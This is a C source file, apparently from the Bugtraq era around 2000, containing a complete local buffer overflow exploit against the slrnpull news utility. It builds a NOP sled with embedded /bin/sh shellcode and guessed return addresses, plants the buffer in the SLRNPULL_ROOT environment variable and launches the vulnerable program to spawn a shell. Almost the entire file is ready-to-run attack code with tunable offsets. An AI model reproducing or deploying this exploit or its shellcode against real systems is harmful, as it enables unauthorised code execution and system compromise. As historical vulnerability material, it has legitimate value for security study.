/* (linux)slrnpull[slrn_v0.9.6.2-] buffer overflow, by v9[v9@fakehalo.org].  i
   made this after i viewed Michal Zalewski's "rh 6.2 - gid compromises, etc"
   (posted: Wed Jun 21 2000 06:54:08) text on bugtraq.  according to his text
   slrnpull among other programs is exploitable.  so, i downloaded the source
   and scanned through it to write little exploit for it.

   note: there didn't appear to be any set*gid() code in the source, execpt
         mentions of it, so i'm just using generic (non-set*id) shellcode.
         also, i just plucked one of the ways to overflow this: -d(spooldir)
         option, NNTPSERVER environment variable, etc. overflow.  the main slrn
         program has many overflows as well.  offsets should range from 1200
         to 2900. (roughly)
*/
#define FILENAME	"slrnpull"	// (which) slrnpull filename to execute.
#define BUFFER 		2048		// buffer size used to overflow.
#define DEFAULT_OFFSET	1750		// default offset, argv option.
#define DEFAULT_ALIGN 	1		// default align, argv option.
static char exec[]=
 "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56"
 "\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"
 "\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01"; // still 01.
long sp(void){__asm__("movl %esp,%eax");} // where offset is add/sub from.
void execute(){
 char cmd[256];
 snprintf(cmd,256,"`which %s`",FILENAME);
 system(cmd);
}
int main(int argc,char **argv){
 char bof[BUFFER];
 int i,offset,align;
 long ret;
 printf("[ slrnpull[slrn_v0.9.6.2-] local buffer overflow, by: v9[v9@fakehalo.o"
 "rg]. ]\n");
 if(argc>1){offset=atoi(argv[1]);}
 else{offset=DEFAULT_OFFSET;}
 if(argc>2){
  if(atoi(argv[2])>3||atoi(argv[2])<0){
   printf("*** invalid alignment value(%s), using internal default: %d. (0-3)\n"
   ,argv[2],DEFAULT_ALIGN);
   align=DEFAULT_ALIGN;
  }
  else{align=atoi(argv[2]);}
 }
 else{align=DEFAULT_ALIGN;}
 ret=(sp()+offset);
 printf("[ return address: 0x%lx, offset: %d, address alignment: %d. ]\n"
 ,ret,offset,align);
 for(i=align;i<BUFFER;i+=4){*(long *)&bof[i]=ret;}
 for(i=0;i<(BUFFER-strlen(exec)-100);i++){*(bof+i)=0x90;}
 memcpy(bof+i,exec,strlen(exec));
 bof[BUFFER]='\0';
 setenv("SLRNPULL_ROOT",bof,1);
 execute();
 exit(0);
}